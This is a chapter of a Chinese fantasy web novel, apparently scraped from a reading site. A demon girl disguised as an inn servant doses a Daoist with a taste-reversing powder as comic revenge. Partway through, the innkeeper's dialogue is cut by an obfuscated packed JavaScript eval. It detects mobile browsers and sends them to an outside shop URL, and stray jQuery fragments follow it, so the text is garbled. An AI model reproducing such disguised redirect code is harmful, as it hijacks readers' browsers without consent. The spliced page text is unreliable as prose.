默认冷灰
24号文字
方正启体

9. 捉弄

作者:荔一沅本书字数:K更新时间:
    满福客栈后院的小屋子里,江离已用尽最后一丝力气变回阿画。她蜷缩床上,脸色比纸还白,刚才挨了陆昭雪一下,又强行催动本源怨气施展“百怨障目”,已伤及精元,她必须好好养着。


    李捕头听陆昭雪说过他在月老祠遇到过一个红衣妖女摄人魂魄,被他打断才没有得逞。本以为那女妖是活死人案件的真凶,他们在城中张贴通缉令,追查了半个月都没有找到踪迹,后面因为刘员外的案子牵扯出苏娆,他们放松了对红衣女妖的追捕,没想到她和苏娆是一伙的,这下两案可以并成一案了。


    于是李捕头当晚就禀告开封府尹,加大对红衣女妖的搜捕力度,也许活死人案件苏娆只是一个傀儡,那女妖才是幕后黑手。


    陆昭雪也跟着忙着了一夜,翌日清晨才回到客栈,休息片刻便去前院练剑。但以往那个怯生生忙碌的身影今日却不在,他逮住一个路过的杂役问道:“阿画姑娘去哪了?”


    “阿画啊,从昨晚开始就人不舒服,一直没出房门。”


    陆昭雪心头莫名一紧,转身往后院走去。推开阿画房间的木门,入眼便见阿画蜷缩在床上,身上盖着薄褥子


    阿画听到动静惶然睁眼,看清是他,挣扎着想坐起来。


    “别动。”陆昭雪声音不觉放低。他环视这陋室,房间窄小阴暗,仅有一张床、一个柜子、一张方桌和两条凳子,再看着阿画苍白的小脸和身上单薄的衣物,心里不由得升起一阵怜惜。


    他走到床前,凝视着阿画,问道:“你怎么样了?”


    阿画咳嗽了两声,道:“我没事,许是着凉了。”


    “我给你请个郎中来看看。”


    阿画心头一跳。郎中一来,她不就露馅了?她连忙细声说道:“不用了,掌柜的早上已经请街口的王大夫看过了,开了药,说静养就好。真的多谢陆公子。”


    陆昭雪见她坚持,便不再强求,说了一句“我去去就回”便转身离开。


    门一关,阿画脸上那点柔弱顿时垮下,取而代之的是咬牙切齿的恨。陆昭雪!在牢里下手那么狠,差点真要了她的命!别以为关心她几句就能让他不记仇。


    必须快点吸食怨气补充精元,但是去哪找到苦主呢?阿画躺下心里盘算着,突然有人敲响她的门,她吓了一大跳,起身一看是陆昭雪推门进来。


    他身后跟着几个人,抬进来一张新木床、厚厚的棉褥锦被、一套新的桌椅,还有几套新衣服。


    阿画撑起身子坐起来,连忙摆着手,“陆大哥,这这太破费了,我我不能要。”


    “给你用,便收着。”陆昭雪语气干脆,没有商量的余地。


    闻言,阿画露出一个恰到好处的微笑,小声道:“那谢谢陆大哥。”


    “不必客气。”陆昭雪见她收下,心里也开心,又嘱咐几句,然后转身离开。


    待他离开,阿画她伸手摸了摸身下柔软的新褥子,又看向那叠放整齐的新衣,眼底掠过一丝复杂的情绪,别以为对她好一点就能让她放过他!


    她忍着不适下床,从柜子的包袱里摸出一个瓷瓶,里面装的是味觉颠倒散。任何人吃了它,三天之内,吃甜的会觉得是苦的,吃咸会觉得是涩的,吃酸的会是腥的,反之亦然。


    大多数时候她都是一个人独居,最喜欢鼓捣这些小玩意,今天可算是派上用场了。


    傍晚的时候阿画觉得身子好一些,起床假装到厨房找吃的。正巧遇到厨房的人给陆昭雪送晚饭,而送饭的帮工帮工在拿碗筷,她趁此机会悄悄将粉末撒进汤里,那东西遇水即化,无色无味。


    做完这些,她回到自己小屋,铺开一张纸,用左手歪歪扭扭地写下几个字,又把字条折好,趁着四下无人,悄悄塞进陆昭雪房门的门缝里。


    陆昭雪还是和往常一样地用晚饭,看着桌子上的四菜一汤,他先夹了一筷子清炒菠菜送入口中。


    下一刻,他整张脸都皱了起来。


    那本该清淡微甜的蔬菜,入口却是一股有着陈年裹脚布的咸腥味儿!他猛地呛住,抓起茶碗灌了一大口,谁知清水入口,竟变成了齁甜发腻的糖浆,齁得人直犯恶心。


    “噗——!”他没忍住,全喷了出来。


    这不对劲。


    不死心的陆昭雪又夹了一块桂花糖藕放入嘴中。


    “啊呸!”本来香甜的藕片入口比苦瓜还要苦,陆昭雪一口吐了出来。


    这做得什么菜?他放下筷子,快步走到门口,大声呼叫掌柜的,想找他算账。


    却在开门的瞬间,发现门缝里夹着一张字条,他拿起来展开。上面歪歪扭扭地写着几个字,内容却让他额角青筋一跳。


    “陆道长,牢中一役,小女子没齿难忘。特奉上百味尝新散,请您品鉴三日。”


    落款虽无姓名,但那戏谑挑衅的语气,除了昨夜那红衣妖女,还能有谁?


    “妖、女!”两个字几乎是从牙缝里挤出来的,陆昭雪将纸条揉得歪七扭八。他竟又着了她的道!看来上一次他冷热失调也是她在捉弄,被她逃跑三次,捉弄两次,不抓到她,他誓不为人。


    陆昭雪深吸一口气,沉着脸下楼。


    掌柜的正扒拉着算盘,见他过来,热情招呼:“陆道长,用过饭了?可是饭菜不合口味?”


    “并非。”陆昭雪打断他,声音有点僵硬,“接下来三日,我的饮食……需调整。”


    掌柜的一愣:“您说,怎么调整?可是要清淡些?”


    陆昭雪喉结动了动,眼神闪烁,不能直视对方探究的视线,断断续续地道:“要……那个滋味重些的。”


    “滋味重?好嘞,我让厨房多给你放一些油盐酱醋。”掌柜的还以为自己探查到了陆昭雪的心思,欢快地道。


    “不止,要那个最苦,最腥,最……”他实在说不出“最臭”那俩字,含糊了一下,“最……呃,气味浓烈的。”


    啊?掌柜的不解,他独自琢磨了一会儿,眼睛慢慢睁大,像是突然悟了什么了不得的玄机:“哦!我懂了!陆道长这是修行到了关键处,需尝遍百味,磨砺心志。”


    陆昭雪嘴角抽了抽,没承认也没否认,只硬邦邦地道:“能否办到?”


    “能!太能了!”掌柜的来了精神,扳着手指头就开始报,“最苦的?有苦丁茶、苦瓜芯、黄连粉、莲子心熬的汤,苦得保证您舌根发麻!最腥的?有新鲜鱼肠鱼鳔,还有羊肝捣成泥,腥气冲天!最气味浓烈的嘛?”他凑近些,压低声音,带着点分享独家秘方的神秘感,“后街老张头家的陈年臭卤汁,泡什么都够味!还有西坊刘掌柜家的干货铺子,腌足三年的臭鳜鱼,那味道,啧啧,保准您满意。”


    他报完,还殷切地看着陆昭雪:“陆先生,您看这口味够


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059290|194978||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    重了吗?不够咱再想想!”


    陆昭雪听着那一串匪夷所思的菜谱,额角突突直跳。他闭了闭眼,从牙缝里挤出两个字:“够了。”


    “好嘞!”掌柜的拍了下大腿,把包在我身上写在脸上了,“我这就去安排!保准让您满意!”


    他说完边转身去后厨吩咐,嘴里还念念有词:“高人就是高人,修炼的法子都这么与众不同!”


    留下陆昭雪独自站在堂中,拳头紧了又紧,只觉得未来三日,恐怕比捉拿十个大妖还要难熬。而那罪魁祸首,他磨了磨后槽牙,暗中发誓一定百倍奉还!


    接下来的三日,陆昭雪几乎闭门不出。


    头一日还好,伙计只是送进去一罐绿不拉几的汤汁,说是苦瓜加莲子心熬制的。伙计出来时龇牙咧嘴,跟厨子嘀咕:“陆道长喝那玩意,眉头都没皱一下,真是位狠人。”


    第二日,伙计提着个盖得严实的食盒,一路小跑送上楼。没过多久,二楼走廊隐约飘散开一阵淡淡的肉腐味。


    引得住在陆昭雪隔壁的旅客直向掌柜的投诉:“你们客栈是不是死了老鼠没收拾?”


    掌柜的连连作揖陪笑:“有客人老寒腿犯了,正在用偏方治,味道大了些,莫怪,莫怪啊!”


    第三日,李捕头来了。刚踏入陆昭雪房门外那条走廊,鼻子下意识抽动两下,这啥怪味道?他定了定神,抬手叩门。


    “进。”陆昭雪的声音从屋内传来,平静无波。


    李捕头推门而入,那股子难以言喻的气味更明显了些。只见陆昭雪端坐桌旁,面前摊着一副发黄的地图,见他进来,又把地图收起来。


    “陆道长,开封府、刑部和大理寺已将苏娆定为活死人案首恶,并报于圣上。圣上下旨,七日后在东街菜市口斩首苏娆。”


    陆昭雪微微惊讶:“这么快?那她的同党……”


    “苏娆咬死了自己并无其他同伙。上头的意思,是就此结案,以安民心。”


    房间内沉默了片刻,陆昭雪对此结果颇为不满。


    李捕头终于忍不住,他斟酌着开口,语气带着十二万分的小心,“陆道长,您这屋里可是在……嗯,炼制什么特别的丹药?”


    陆昭雪嘴角抽了抽,略显心虚地道:“近日修行遇到阻碍,尝试以特殊药丸疏通经脉。”


    练功?疏通经脉?用这种味道的药?这味道别说疏通经脉了,疏通茅坑都够劲了,昆仑墟的功法真是独特。


    李捕头努力绷住表情,干巴巴地点头:“原来如此啊,陆先生真是勤勉不辍,在下佩服,佩服!”


    说完又闲聊两句,便匆匆地逃也似的告辞离开了。出了客栈之后赶紧大口吸上几口气,顿觉神清气爽。


    陆昭雪自然感受到了李捕头的嫌弃,他这几天是既无奈又尴尬,而这一切都要拜那妖女所赐。


    妖女阿离!他在心中咬牙切齿地默念这四个字,恨不得将那名字的主人嚼碎咽下。


    与此同时,气色已经好了一些的阿画正坐在后厨帮忙择菜,听着伙计们和王婆子每日活灵活现的学舌,说陆道长最近如何的怪异,专挑那臭的、苦的、腥气扑鼻的东西下咽,还吃得面不改色。


    阿画面上仍是那副温顺怯然的表情,可心里早就笑得东倒西歪,恨不得立刻躺在地上来回滚上两圈才痛快,心里那口闷气,总算散了大半。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)